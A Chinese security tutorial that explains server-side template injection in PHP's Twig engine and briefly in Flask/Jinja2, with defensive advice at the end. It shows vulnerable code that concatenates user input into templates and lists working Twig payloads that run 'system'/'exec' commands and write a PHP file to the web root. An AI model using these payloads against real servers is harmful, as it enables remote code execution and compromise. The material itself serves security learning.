模板注入(Twig)

模板注入(Twig)

判断什么模板注入的图

1.模板引擎:

为了使用户界面与业务数据(内容)分离而产生的,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,再放到渲染函数里,生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

2.SSTI漏洞

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

PHP中的SSTI注入(php常见的模板:twig,smarty,blade)

Twig

<?php   

require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';   Twig_Autoloader::register(true);   

$twig = new Twig_Environment(new Twig_Loader_String());   

$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值   

echo $output; ?>

先看上端代码,现在name是一个get传参导入变量,然后将这个变量进行模板渲染,模板渲染的同时模板引擎会默认将该变量进行编码转义,再放入模板中,所以并不会造成跨站脚本攻击

<?php                                                                                                                                require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';   Twig_Autoloader::register(true);                              $twig=newTwig_Environment(newTwig_Loader_String());                                            $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分       echo$output;                                                                                                                                      ?>

但是这个代码不同,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

尝试构造payload

bmjoker{# comment #}{{2*8}}OK

{# comment #}  是Twig 模板引擎的默认注释形式,在前端输出的时候不显示,而{{2*8}} 是模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK 

上图是SSTI 扫描检测的大致流程

就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

提供一个针对twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

上面的载荷为2.x版本,下面是新增了 filter 和 map 等的内容补充的3.x版本的

还有其他

  • {{["id"]|map("system")|join(",")
  • {{["id", 0]|sort("system")|join(",")}}
  • {{["id"]|filter("system")|join(",")}}
  • {{[0, 0]|reduce("system", "id")|join(",")}}
  • {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}(将 PHP 代码 <?php phpinfo(); 写入文件 /var/www/html/shell.php如果成功,访问 /var/www/html/shell.php 时会显示 PHP 信息页面。)

map("system")对数组中的每个元素调用 system 函数

join(",")将结果用逗号连接成一个字符串。

sort("system"):对数组进行排序,但这里传递了 "system" 作为排序函数,实际上会调用 system 函数。

filter("system"):对数组中的每个元素调用 system 函数。filter 函数通常用于过滤数组,但这里被滥用为执行系统命令。

reduce("system", "id"):对数组进行归约操作,但这里传递了 "system" 作为回调函数,"id" 作为初始值。实际上会调用 system 函数。

这里解释一下reduce的归约操作:

在 Twig 模板引擎中,reduce 是一个过滤器(filter),用于对数组或集合进行归约操作。

reduce 过滤器的作用是对数组或集合中的元素进行归约操作,最终返回一个单一的值。它的语法如下:

{{ array|reduce(callback, initial) }}
  • array:要归约的数组或集合。

  • callback:回调函数,用于处理每个元素。

  • initial:初始值(可选)。


2. reduce("system", "id") 的解释

reduce("system", "id") 的用法如下:

 
{{ [0, 0]|reduce("system", "id")|join(",") }}

参数分解:

  • [0, 0]:要归约的数组,包含两个元素 00

  • "system":回调函数。这里传递的是字符串 "system",Twig 会尝试将其解析为一个可调用的函数。

  • "id":初始值。这里传递的是字符串 "id"

执行过程:

  1. 初始值:

    • reduce 的初始值是 "id"

  2. 第一次调用回调函数:

    • previousValue:初始值 "id"

    • currentValue:数组的第一个元素 0

    • 调用 system("id", 0),即执行系统命令 id

  3. 第二次调用回调函数:

    • previousValue:上一次回调函数的返回值(可能是 id 命令的输出)。

    • currentValue:数组的第二个元素 0

    • 调用 system(previousValue, 0),即再次执行系统命令。

结果:

  • system 是 PHP 的一个函数,用于执行系统命令。

  • 因此,reduce("system", "id") 实际上会执行系统命令 id,并将其输出作为结果。

具体payload分析详见:《TWIG 全版本通用 SSTI payloads

            《SSTI-服务器端模板注入

### SSTI(服务器端模板注入)漏洞 #### 攻击语句示例 在某些Web应用程序中,如果输入未经过充分验证就被嵌入到服务器端渲染的模板中,则可能引发SSTI漏洞。例如,在基于Python的应用程序中使用Jinja2模板引擎时,攻击者可以通过精心构造的输入来执行任意代码。 考虑如下场景: 假设存在一个URL参数`name`用于动态显示用户名字,而该参数未经严格过滤便被直接传给了模板引擎处理。此时,攻击者可尝试提交特殊字符串作为`name`值以触发异常行为并最终实现远程代码执行(RCE)[^1]。 ```python from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') template_string = f'Hello {name}' # 危险操作:直接拼接用户可控数据至模板内容 rendered_template = render_template_string(template_string) return rendered_template ``` 针对上述情况的一个简单测试Payload可能是这样的: ``` {{7*7}} ``` 这将导致页面返回计算结果而不是预期的名字问候消息。更进一步地,通过利用特定于所使用的模板引擎的功能特性,还可以构建更加复杂的Payload来进行系统级的危害活动[^2]。 #### 防御措施建议 为了有效防止此类风险的发生,应当遵循以下几点最佳实践原则: - **最小权限原则**:确保运行环境下的解释器和服务进程仅拥有完成其职责所需的最低限度资源访问权; - **输入校验与清理**:对所有来自外部的数据源实施严格的格式化检查以及必要的转义处理; - **采用安全库函数**:优先选用那些已经内置了防护机制的第三方组件或框架功能模块; - **定期更新依赖项**:及时跟踪官方发布的补丁信息,并尽快应用到生产环境中去; - **启用WAF(Web Application Firewall)**:部署专业的防火墙产品能够帮助识别和拦截可疑流量模式。 综上所述,采取综合性的预防策略可以大大降低遭受SSTI攻击的可能性及其造成的损失程度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值